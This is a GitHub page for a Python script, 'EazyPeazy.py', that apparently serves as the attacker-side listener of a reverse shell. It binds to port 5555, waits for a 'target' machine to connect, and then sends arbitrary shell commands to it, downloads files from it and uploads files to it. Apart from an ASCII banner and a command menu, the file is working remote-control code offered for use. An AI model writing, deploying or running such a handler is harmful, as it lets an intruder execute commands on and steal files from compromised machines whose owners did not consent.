-
Notifications
You must be signed in to change notification settings - Fork 1
/
EazyPeazy.py
111 lines (91 loc) · 3.54 KB
/
EazyPeazy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from colorama import Fore, Back
import time
import sys
import os
from subprocess import call
import socket
import json
print(Fore.YELLOW +'''
_______ __ ________ ___ ___ _______ _______ __ ________ ___ ___
/" "| /""\ (" "\|" \/" | | __ "\ /" "| /""\ (" "\|" \/" |
(: ______) / \ \___/ :)\ \ / (. |__) :|: ______) / \ \___/ :)\ \ /
\/ | /' /\ \ / ___/ \\ \/ |: ____/ \/ | /' /\ \ / ___/ \\ \/
// ___)_ // __' \ // \__ / / (| / // ___)_ // __' \ // \__ / /
(: "|/ / \\ (: / "\ / / /|__/ \ (: "|/ / \\ (: / "\ / /
\_______|___/ \___)_______)___/ (_______) \_______|___/ \___)_______)___/
- Sudhanshu Patel ''')
print()
print('Copyright (c) 2021 Sudhanshu Patel under MIT License')
print()
ip = input(Fore.YELLOW + "=>Enter your ip address#~ ")
print(Fore.GREEN + "[+]Squeezing Lemons:")
animation = ["[■□□□□□□□□□]","[■■□□□□□□□□]", "[■■■□□□□□□□]", "[■■■■□□□□□□]", "[■■■■■□□□□□]", "[■■■■■■□□□□]", "[■■■■■■■□□□]", "[■■■■■■■■□□]", "[■■■■■■■■■□]", "[■■■■■■■■■■]"]
def write_ip(ip):
f = open("ip_file.txt", "w")
f.write(f"{ip}")
f.close()
for i in range(len(animation)):
time.sleep(0.2)
sys.stdout.write("\r" + animation[i % len(animation)])
sys.stdout.flush()
write_ip(ip)
print("\n")
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'exit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:8] == 'download':
download_file(command[9:])
elif command[:6] == 'upload':
upload_file(command[7:])
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, 5555))
print(Fore.YELLOW + '[*]Commands-')
print(Fore.YELLOW +' *cd [filepath] ~ to change directory')
print(Fore.YELLOW +' *dir ~ to list file in current directory')
print(Fore.YELLOW +' *download [file_name] ~ to download file from target machine')
print(Fore.YELLOW +' *upload [file_name] ~ to upload file to target machine')
print(Fore.YELLOW +' *clear ~ to clear the terminal')
print(Fore.YELLOW +' *exit ~ to exit')
print('')
print('[+] Waiting for the target#')
sock.listen(5)
target, ip = sock.accept()
print('[+] Target Connected From#~ ' + str(ip))
#Available options
target_communication()